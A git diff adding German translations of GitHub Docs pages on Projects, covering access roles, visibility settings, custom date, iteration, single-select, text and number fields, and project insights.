+Du kannst ein zuvor geschlossenes Projekt erneut öffnen.
+
+{% data reusables.profile.access_profile %} {% data reusables.projects.reopen-a-project %}
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md
new file mode 100644
index 0000000000..47f1fb62d7
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md
@@ -0,0 +1,23 @@
+---
+title: 'Verwalten deiner {% data variables.projects.project_v2 %}'
+intro: 'Erfahre, wie du deine Projekte verwalten sowie Sichtbarkeit und Zugriff steuern kannst.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /managing-visibility-of-your-projects
+  - /managing-access-to-your-projects
+  - /closing-and-deleting-your-projects
+  - /adding-your-project-to-a-repository
+  - /adding-your-project-to-a-team
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: c7dd1657bae11e0f43895e946b5e20a209666363
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108427'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md
new file mode 100644
index 0000000000..a701d2a129
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md
@@ -0,0 +1,121 @@
+---
+title: 'Verwalten des Zugriffs auf deine {% data variables.projects.projects_v2 %}'
+shortTitle: 'Managing {% data variables.projects.project_v2 %} access'
+intro: 'Erfahre, wie du Team- und individuellen Zugriff auf dein {% data variables.projects.project_v2 %} verwaltest.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/managing-access-to-projects
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 9c414ab3bfbbd9bbf488a73e5dd2600458074914
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109262'
+---
+## Informationen zum Projektzugriff
+
+Administrator*innen von Projekten auf Organisationsebene können den Zugriff für die gesamte Organisation, für Teams, für einzelne Organisationsmitglieder und für externe Projektmitarbeiter*innen verwalten. 
+
+Administrator*innen von Projekten auf Benutzerebene können einzelne Projektmitarbeiter*innen einladen und ihren Zugriff verwalten.
+
+Projektadministrator*innen können auch die Sichtbarkeit ihres Projekts für jeden im Internet steuern. Weitere Informationen findest du unter [Verwalten der Sichtbarkeit deiner Projekte](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects).
+
+## Verwalten des Zugriffs für Projekte auf Organisationsebene
+
+### Verwalten des Zugriffs für alle Personen in deiner Organisation
+
+Die Standardbasisrolle ist `write`, was bedeutet, dass jeder in der Organisation dein Projekt anzeigen und bearbeiten kann. Um den Projektzugriff für alle Personen in der Organisation zu ändern, kannst du die Basisrolle ändern. Änderungen an der Basisrolle wirken sich nur auf Organisationsmitglieder aus, die keine Organisationsinhaber*innen sind und denen kein individueller Zugriff gewährt wird.
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf **Manage access** (Zugriff verwalten).
+   ![Screenshot des Elements „Manage access“ (Zugriff verwalten)](/assets/images/help/projects-v2/manage-access.png)
+2. Wähle unter **Base role** (Basisrolle) die Standardrolle aus.
+   ![Screenshot des Menüs „Base role“ (Basisrolle)](/assets/images/help/projects-v2/base-role.png)
+   - **No access** (Kein Zugriff): Nur Organisationsinhaber*innen und Benutzer*innen, denen individueller Zugriff gewährt wurde, können das Projekt anzeigen. Organisationsinhaber*innen sind auch Administrator*innen für das Projekt.
+   - **Read** (Lesen): Jeder in der Organisation kann das Projekt anzeigen. Organisationsinhaber*innen sind auch Administrator*innen für das Projekt.
+   - **Write** (Schreiben): Jeder in der Organisation kann das Projekt anzeigen und bearbeiten. Organisationsinhaber*innen sind auch Administrator*innen für das Projekt.
+   - **Admin**: Jeder in der Organisation ist ein*e Administrator*in für das Projekt.
+
+### Verwalten des Zugriffs für Teams und einzelne Mitglieder deiner Organisation
+
+Du kannst auch Teams, externe Projektmitarbeiter*innen und einzelne Organisationsmitglieder als Projektmitarbeiter*innen für ein Projekt auf Organisationsebene hinzufügen. Weitere Informationen findest du unter [Informationen zu Teams](/organizations/organizing-members-into-teams/about-teams).
+
+{% ifversion projects-v2-add-to-team %}
+
+Wenn du einem Team Leseberechtigungen oder mehr für ein Projekt erteilst, wird das Projekt auch auf der Projektseite des Teams angezeigt. Du kannst auch auf der Projektseite des Teams einem Team Projekte hinzufügen. Weitere Informationen findest du unter [Hinzufügen deines Projekts zu einem Team](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team).  
+
+{% endif %}
+
+Du kannst nur eine*n einzelne*n Benutzer*in einladen, an deinem Projekt auf Organisationsebene mitzuarbeiten, wenn er oder sie bereits Mitglied der Organisation oder ein*e externe*r Projektmitarbeiter*in in mindestens einem Repository in der Organisation sind.
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf **Manage access** (Zugriff verwalten).
+   ![Screenshot des Elements „Manage access“ (Zugriff verwalten)](/assets/images/help/projects-v2/manage-access.png)
+2. Suche unter **Invite collaborators** (Projektmitarbeiter einladen) nach dem Team oder einzelnen Benutzer, das bzw. den du einladen möchtest.
+   ![Screenshot: Suchen nach Mitarbeiter*innen](/assets/images/help/projects-v2/access-search.png)
+3. Wähle die Rolle für den bzw. die Projektmitarbeiter*in aus.
+   ![Screenshot: Auswählen einer Rolle](/assets/images/help/projects-v2/access-role.png)
+   - **Read** (Lesen): Das Team oder die Einzelperson kann das Projekt anzeigen.
+   - **Write** (Schreiben): Das Team oder die Einzelperson kann das Projekt anzeigen und bearbeiten.
+   - **Admin**: Das Team oder die Einzelperson kann das Projekt anzeigen, bearbeiten und neue Projektmitarbeiter*innen hinzufügen.
+4. Klicke auf **Einladen**.
+   ![Screenshot der Schaltfläche „Einladen“](/assets/images/help/projects-v2/access-invite.png)
+
+### Verwalten des Zugriffs eines vorhandenen Projektmitarbeiters auf dein Projekt
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf **Manage access** (Zugriff verwalten).
+   ![Screenshot des Elements „Manage access“ (Zugriff verwalten)](/assets/images/help/projects-v2/manage-access.png)
+1. Suche unter **Manage access** (Zugriff verwalten) nach den Projektmitarbeiter*innen, deren Berechtigungen du ändern möchtest.
+
+   Du kannst die Dropdownmenüs **Type** (Typ) und **Role** (Rolle) verwenden, um die Zugriffsliste zu filtern.
+   ![Screenshot eines Mitarbeiters](/assets/images/help/projects-v2/access-find-member.png)
+
+1. Bearbeite die Rolle für den bzw. die Mitarbeiter*in(nen).
+   ![Screenshot: Ändern der Rolle eines Mitarbeiters](/assets/images/help/projects-v2/access-change-role.png)
+1. Klicke wahlweise auf **Entfernen**, um den bzw. die Mitarbeiter*in(nen) zu entfernen.
+   ![Screenshot: Entfernen eines Mitarbeiters](/assets/images/help/projects-v2/access-remove-member.png)
+
+## Verwalten des Zugriffs für Projekte auf Benutzerebene
+
+### Projektmitarbeiter*innen Zugriff auf deine Projekt gewähren
+
+{% note %}
+
+Dies betrifft nur Projektmitarbeiter*innen für dein Projekt, nicht für Repositorys in deinem Projekt. Um ein Element im Projekt anzuzeigen, muss eine Person über die erforderlichen Berechtigungen für das Repository verfügen, zu dem das Element gehört. Wenn dein Projekt Elemente aus einem privaten Repository enthält, können Personen, die keine Projektmitarbeiter*innen im Repository sind, keine Elemente aus diesem Repository anzeigen. Weitere Informationen findest du unter [Festlegen der Sichtbarkeit des Repositorys](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) und [Verwalten von Teams und Personen mit Zugriff auf dein Repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository).
+
+{% endnote %}
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf **Manage access** (Zugriff verwalten).
+   ![Screenshot des Elements „Manage access“ (Zugriff verwalten)](/assets/images/help/projects-v2/manage-access.png)
+2. Suche unter **Invite collaborators** (Projektmitarbeiter einladen) nach dem Benutzer bzw. der Benutzerin, den bzw. die du einladen möchtest.
+   ![Screenshot: Suchen nach Mitarbeiter*innen](/assets/images/help/projects-v2/access-search.png)
+3. Wähle die Rolle für den bzw. die Projektmitarbeiter*in aus.
+   ![Screenshot: Auswählen einer Rolle](/assets/images/help/projects-v2/access-role.png)
+   - **Read** (Lesen): Eine Einzelperson kann das Projekt anzeigen.
+   - **Write** (Schreiben): Eine Einzelperson kann das Projekt anzeigen und bearbeiten.
+   - **Admin**: Eine Einzelperson kann das Projekt anzeigen, bearbeiten und neue Projektmitarbeiter*innen hinzufügen.
+4. Klicke auf **Einladen**.
+   ![Screenshot der Schaltfläche „Einladen“](/assets/images/help/projects-v2/access-invite.png)
+
+### Verwalten des Zugriffs eines vorhandenen Projektmitarbeiters auf dein Projekt
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf **Manage access** (Zugriff verwalten).
+   ![Screenshot des Elements „Manage access“ (Zugriff verwalten)](/assets/images/help/projects-v2/manage-access.png)
+1. Suche unter **Manage access** (Zugriff verwalten) nach den Projektmitarbeiter*innen, deren Berechtigungen du ändern möchtest.
+
+   Du kannst die Dropdownmenüs **Type** (Typ) und **Role** (Rolle) verwenden, um die Zugriffsliste zu filtern.
+   ![Screenshot eines Mitarbeiters](/assets/images/help/projects-v2/access-find-member.png)
+
+1. Bearbeite die Rolle für den bzw. die Mitarbeiter*in(nen).
+   ![Screenshot: Ändern der Rolle eines Mitarbeiters](/assets/images/help/projects-v2/access-change-role.png)
+1. Klicke wahlweise auf **Entfernen**, um den bzw. die Mitarbeiter*in(nen) zu entfernen.
+   ![Screenshot: Entfernen eines Mitarbeiters](/assets/images/help/projects-v2/access-remove-member.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md
new file mode 100644
index 0000000000..de3c21e7f3
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md
@@ -0,0 +1,46 @@
+---
+title: 'Verwalten der Sichtbarkeit deiner {% data variables.projects.projects_v2 %}'
+shortTitle: 'Managing {% data variables.projects.project_v2 %} visibility'
+intro: 'Erfahre, wie du für dein {% data variables.projects.project_v2 %} private oder öffentliche Sichtbarkeit festlegst.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+permissions: Organization owners can manage the visibility of project boards in their organization. Organization owners can also allow collaborators with admin permissions to manage project visibility. Visibility of user projects can be managed by the owner of the project and collaborators with admin permissions.
+ms.openlocfilehash: fbe4f0943010129b14ace21f6071b99e1160053b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109785'
+---
+## Informationen zur Projektsichtbarkeit
+
+Projekte können öffentlich oder privat sein. Bei öffentlichen Projekten kann jeder im Internet das Projekt anzeigen. Bei privaten Projekten können nur Benutzer, die mindestens über Lesezugriff verfügen, das Projekt anzeigen.
+
+Es ist nur die Sichtbarkeit des Projekts betroffen: Um ein Element im Projekt anzuzeigen, muss eine Person über die erforderlichen Berechtigungen für das Repository verfügen, zu dem das Element gehört. Wenn dein Projekt Elemente aus einem privaten Repository enthält, können Benutzer*innen, die keine Projektmitarbeiter*innen im Repository sind, keine Elemente aus diesem Repository anzeigen.
+
+![Projekt mit ausgeblendetem Element](/assets/images/help/projects/hidden-items.png)
+
+Projektadministrator*innen und Organisationsbesitzer*innen können die Sichtbarkeit von Projekten steuern. Organisationsbesitzer{% ifversion project-visibility-policy %} und Unternehmensbesitzer{% endif %} können die Fähigkeit zum Ändern der Projektsichtbarkeit auf die Organisationsbesitzer beschränken.
+
+In öffentlichen und privaten Projekten sind Erkenntnisse nur für Benutzer*innen mit Schreibberechtigungen für das betreffende Projekt sichtbar.
+
+In privaten, organisationseigenen Projekten werden die Avatare von Benutzern, die aktuelle Updates für das Projekt vornehmen, in der Projektbenutzeroberfläche angezeigt.
+
+Projektadministratoren können auch den Schreib- und Administratorzugriff auf ihr Projekt verwalten und den Lesezugriff für einzelne Benutzer steuern. Weitere Informationen findest du unter [Verwalten des Zugriffs auf deine Projekte](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects).
+
+## Ändern der Projektsichtbarkeit
+
+{% data reusables.projects.project-settings %}
+1. Wähle neben **Sichtbarkeit** unter „Gefahrenzone“ die Option **Privat** oder **Öffentlich** aus.
+   ![Screenshot der Steuerelemente für die Sichtbarkeit](/assets/images/help/projects-v2/visibility.png)
+
+## Weiterführende Themen
+
+- [Zulassen von Änderungen an der Sichtbarkeit von Projekten in deiner Organisation](/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md
new file mode 100644
index 0000000000..8d7eaa5ca8
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md
@@ -0,0 +1,30 @@
+---
+title: Informationen zu Datumsfeldern
+shortTitle: About date fields
+intro: 'Du kannst benutzerdefinierte Datumsfelder erstellen, die sich durch Eingabe eines Datums oder mithilfe eines Kalenders festlegen lassen.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+redirect_from:
+  - /issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields
+ms.openlocfilehash: d6057212941db8d20ed49f240052e5ad0fc8eb80
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159689'
+---
+Du kannst Datumswerte mit dem Format `YYYY-MM-DD` filtern, z. B.: `date:2022-07-01` Du kannst auch Operatoren verwenden, z. B. `>`, `>=`, `<`, `<=` und `..`. Beispiel: `date:>2022-07-01` und `date:2022-07-01..2022-07-31`. Du kannst auch `@today` angeben, um den aktuellen Tag in deinem Filter darzustellen. Weitere Informationen findest du unter [Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects) („Filtern von Projekten“).
+
+## Hinzufügen eines Datumsfelds
+
+{% data reusables.projects.new-field %}
+1. Klicke auf **Datum**
+   ![Screenshot der Option „Datum“](/assets/images/help/projects-v2/new-field-date.png)
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Neues Feld erstellen“.
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md
new file mode 100644
index 0000000000..30a6f9c8e4
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md
@@ -0,0 +1,82 @@
+---
+title: Informationen zu Iterationsfeldern
+shortTitle: About iteration fields
+intro: 'Du kannst Iterationen erstellen, um anstehende Arbeits- und Gruppenelemente zu planen.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/managing-iterations
+  - /issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields
+type: tutorial
+topics:
+  - Projects
+ms.openlocfilehash: ae598dc481c54adfb817e110794f43f0f80a7c16
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159586'
+---
+Du kannst ein Iterationsfeld erstellen, um Elemente bestimmten sich wiederholenden Zeitblöcken zuzuordnen. Iterationen können auf eine beliebige Zeitspanne festgelegt werden, Pausen enthalten und einzeln bearbeitet werden, wenn der Name und der Datumsbereich geändert werden müssen. Bei Projekten kannst du nach Iteration gruppieren, um die Ausgewogenheit der anstehenden Arbeit zu visualisieren, Filter verwenden, um sich auf eine einzelne Iteration zu konzentrieren, und nach Iteration sortieren.
+
+Du kannst nach Iterationen filtern, indem du den Iterationsnamen oder `@current` für die aktuelle Iteration bzw. `@previous` für die vorherige Iteration oder `@next` für die nächste Iteration angibst. Du kannst auch Operatoren verwenden, z. B. `>`, `>=`, `<`, `<=` und `..`.  Beispiel: `iteration:>"Iteration 4"` und `iteration:<@current`. Weitere Informationen findest du unter [Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects) („Filtern von Projekten“).
+
+Wenn du zum ersten Mal ein Iterationsfeld erstellst, werden automatisch drei Iterationen erstellt.  Du kannst zusätzliche Iterationen hinzufügen und weitere Änderungen auf der Einstellungsseite deines Projekts vornehmen.
+
+![Screenshot der Einstellungen für ein Iterationsfeld](/assets/images/help/issues/iterations-example.png)
+
+## Hinzufügen eines Iterationsfelds
+
+{% data reusables.projects.new-field %}
+1. Wähle **Iteration**
+   ![Screenshot der Option „Iteration“](/assets/images/help/projects-v2/new-field-iteration.png)
+2. Wahlweise kannst du auf das Kalender-Dropdownmenü neben „Beginnt am“ klicken und ein neues Startdatum auswählen, wenn du nicht möchtest, dass die Iteration heute beginnt.
+   ![Screenshot des Startdatums der Iteration](/assets/images/help/projects-v2/iteration-field-starts.png)
+3. Um die Dauer der einzelnen Iterationen zu ändern, gib eine neue Zahl ein, wähle dann das Dropdownmenü aus, und klicke dann auf **Tage** oder **Wochen**.
+   ![Screenshot der Iterationsdauer](/assets/images/help/projects-v2/iteration-field-duration.png)
+4. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save-and-create.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Neues Feld erstellen“.
+
+## Hinzufügen neuer Iterationen
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf den Namen des Iterationsfelds, das du anpassen möchtest.
+   ![Screenshot eines Iterationsfelds](/assets/images/help/projects-v2/select-iteration-field.png)
+1. Wenn du eine neue Iteration derselben Dauer hinzufügen möchtest, klicke auf **Add iteration** (Iteration hinzufügen).
+   ![Screenshot der Schaltfläche „Add iteration“ (Iteration hinzufügen)](/assets/images/help/projects-v2/add-iteration.png)
+1. Wahlweise kannst du die Dauer und Startzeit der neuen Iteration anpassen, indem du auf {% octicon "triangle-down" aria-label="The triangle icon" %} **Weitere Optionen** klickst, ein Startdatum und eine Dauer auswählst und dann auf **Hinzufügen** klickst.
+   ![Screenshot des Formulars zum Hinzufügen von Iterationsoptionen](/assets/images/help/projects-v2/add-iteration-options.png)
+1. Klicke auf **Änderungen speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/iteration-save.png)
+
+## Bearbeiten einer Iteration
+
+Du kannst Iterationen in deinen Projekteinstellungen bearbeiten. Du kannst auch auf die Einstellungen für ein Iterationsfeld zugreifen, indem du in der Tabellenüberschrift für das Feld auf {% octicon "triangle-down" aria-label="The triangle icon" %} und dann auf **Werte bearbeiten** klickst.
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf den Namen des Iterationsfelds, das du anpassen möchtest.
+   ![Screenshot eines Iterationsfelds](/assets/images/help/projects-v2/select-iteration-field.png)
+1. Wenn du den Namen einer Iteration ändern möchtest, klicke auf den Namen, und beginne mit der Eingabe.
+   ![Screenshot eines Titelfelds zum Umbenennen einer Iteration](/assets/images/help/projects-v2/iteration-rename.png)
+1. Um das Datum oder die Dauer einer Iteration zu ändern, klicke auf das Datum, um den Kalender zu öffnen. Klicke auf den Starttag, dann auf den Endtag, und zum Abschluss auf **Anwenden**.
+   ![Screenshot der Iterationsdaten](/assets/images/help/projects-v2/iteration-date.png)
+1. Wenn du optional eine Iteration löschen möchtest, klicke auf {% octicon "trash" aria-label="The trash icon" %}.
+   ![Screenshot der Schaltfläche „Löschen“](/assets/images/help/projects-v2/iteration-delete.png)
+2. Klicke auf **Änderungen speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/iteration-save.png)
+
+## Einfügen einer Pause
+
+Du kannst Pausen in deine Iterationen einfügen, um zu kommunizieren, wenn du eine Pause von der geplanten Arbeit einlegst. Die Dauer einer neuen Pause wird standardmäßig auf die Länge der zuletzt erstellten Iteration festgelegt.
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf den Namen des Iterationsfelds, das du anpassen möchtest.
+   ![Screenshot eines Iterationsfelds](/assets/images/help/projects-v2/select-iteration-field.png)
+2. Klicke auf der Trennlinie rechts oberhalb einer Iteration auf **Pause einfügen**.
+   ![Screenshot mit der Position der Schaltfläche „Pause einfügen“](/assets/images/help/issues/iteration-insert-break.png)
+3. Wenn du optional die Dauer der Pause ändern möchtest, klicke auf das Datum, um den Kalender zu öffnen. Klicke auf den Starttag, dann auf den Endtag, und zum Abschluss auf **Anwenden**.
+4. Klicke auf **Änderungen speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/iteration-save.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md
new file mode 100644
index 0000000000..1acbf0d990
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md
@@ -0,0 +1,47 @@
+---
+title: Informationen zu Einfachauswahlfeldern
+shortTitle: About single select fields
+intro: 'Du kannst Einfachauswahlfelder mit definierten Optionen erstellen, die in einem Dropdownmenü ausgewählt werden können.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+redirect_from:
+  - /issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields
+ms.openlocfilehash: b401f11502185527444cd72fa3264fda51465116
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160281'
+---
+Du kannst nach deinen Einfachauswahlfeldern filtern, indem du die Option angibst, z. B.: `fieldname:option` Du kannst nach mehreren Werten filtern, indem du eine durch Komma getrennte Liste von Optionen bereitstellst, z. B. : `fieldname:option,option` Weitere Informationen findest du unter [Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects) („Filtern von Projekten“).
+
+Einfachauswahlfelder können bis zu 50 Optionen enthalten. 
+
+## Hinzufügen eines Einfachauswahlfelds
+
+{% data reusables.projects.new-field %}
+1. Wähle **Einfachauswahl**
+   ![Screenshot der Option „Einfachauswahl“](/assets/images/help/projects-v2/new-field-single-select.png)
+1. Gib unter „Optionen“ die erste Option ein.
+   ![Screenshot der Option „Einfachauswahl“](/assets/images/help/projects-v2/single-select-create-with-options.png)
+   - Wenn du zusätzliche Optionen hinzufügen möchtest, klicke auf **Option hinzufügen**.
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Neues Feld erstellen“.
+
+## Bearbeiten eines Einfachauswahlfelds
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf den Namen des Einfachauswahlfelds, das du anpassen möchtest.
+   ![Screenshot eines Einfachauswahlfelds](/assets/images/help/projects-v2/select-single-select.png)
+1. Bearbeite vorhandene Optionen, oder klicke auf **Option hinzufügen**.
+   ![Screenshot der Einfachauswahloptionen](/assets/images/help/projects-v2/single-select-edit-options.png)
+1. Wahlweise kannst du eine Option löschen, indem du auf {% octicon "x" aria-label="The x icon" %} klickst.
+   ![Screenshot der Schaltfläche „Löschen“](/assets/images/help/projects-v2/single-select-delete.png)
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/save-options.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md
new file mode 100644
index 0000000000..c0a7fb18b9
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md
@@ -0,0 +1,44 @@
+---
+title: Informationen zu Text- und Zahlenfeldern
+shortTitle: About text and number fields
+intro: Du kannst deinem Projekt Text- und Zahlenfelder hinzufügen.
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+redirect_from:
+  - /issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields
+ms.openlocfilehash: 531931f74afd1d4fdc206002742d8d27bca67dc4
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159685'
+---
+Du kannst Textfelder verwenden, um Notizen oder einen anderen Freiformtext in dein Projekt einzuschließen.
+
+Textfelder können in Filtern verwendet werden, z. B. `field:"exact text"`. Textfelder und Elementtitel werden auch verwendet, wenn du nach Text filterst, ohne ein Feld anzugeben. 
+
+Zahlenfelder können ebenfalls in Filtern verwendet werden. Mithilfe der Bereichsabfragen `>`, `>=`, `<`, `<=` und`..` kannst du nach einem Zahlenfeld filtern. Beispiel: `field:5..15` oder `field:>=20`. Weitere Informationen findest du unter [Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects) („Filtern von Projekten“).
+
+## Hinzufügen eines Textfelds
+
+{% data reusables.projects.new-field %}
+1. Klicke auf **Text**
+   ![Screenshot der Option „Text“](/assets/images/help/projects-v2/new-field-text.png)
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Neues Feld erstellen“.
+
+## Hinzufügen eines Zahlenfelds
+
+{% data reusables.projects.new-field %}
+1. Klicke auf **Zahl**
+   ![Screenshot der Option „Zahl“](/assets/images/help/projects-v2/new-field-number.png)
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save.png)
+
+Alternativ drücke {% data variables.projects.command-palette-shortcut %}, um die Projektbefehlspalette zu öffnen, und beginne mit der Eingabe von „Neues Feld erstellen“.
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md
new file mode 100644
index 0000000000..d4ecf5c653
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md
@@ -0,0 +1,56 @@
+---
+title: 'Informationen zu Erkenntnissen für {% data variables.product.prodname_projects_v2 %}'
+intro: 'Du kannst Diagramme anzeigen und anpassen, die aus den Daten deines Projekts erstellt wurden.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/using-insights-with-projects
+type: tutorial
+product: '{% data reusables.gated-features.historical-insights-for-projects %}'
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 89f93ace53547fccd69ffb7e6d7b666a6cb48991
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108479'
+---
+{% ifversion fpt %}
+
+{% note %}
+
+**Hinweis:** Verlaufsdiagramme sind derzeit als Featurevorschau für Organisationen verfügbar, die {% data variables.product.prodname_team %} verwenden. Sie sind in der Regel für Organisationen mit {% data variables.product.prodname_ghe_cloud %} verfügbar.
+
+{% endnote %}
+
+{% endif %}
+
+ Du kannst Erkenntnisse für {% data variables.product.prodname_projects_v2 %} zum Anzeigen, Erstellen und Anpassen von Diagrammen verwenden, in denen die dem Projekt hinzugefügten Elemente als Quelldaten verwendet werden. Du kannst Filter auf das Standarddiagramm anwenden und auch eigene Diagramme erstellen. Wenn du ein Diagramm erstellst, legst du die Filter, den Diagrammtyp und die angezeigten Informationen fest. Das Diagramm steht allen Personen zur Verfügung, die das Projekt anzeigen können. Du kannst zwei Diagrammtypen generieren: aktuelle Diagramme und Verlaufsdiagramme.
+
+ ### Informationen zu aktuellen Diagrammen
+
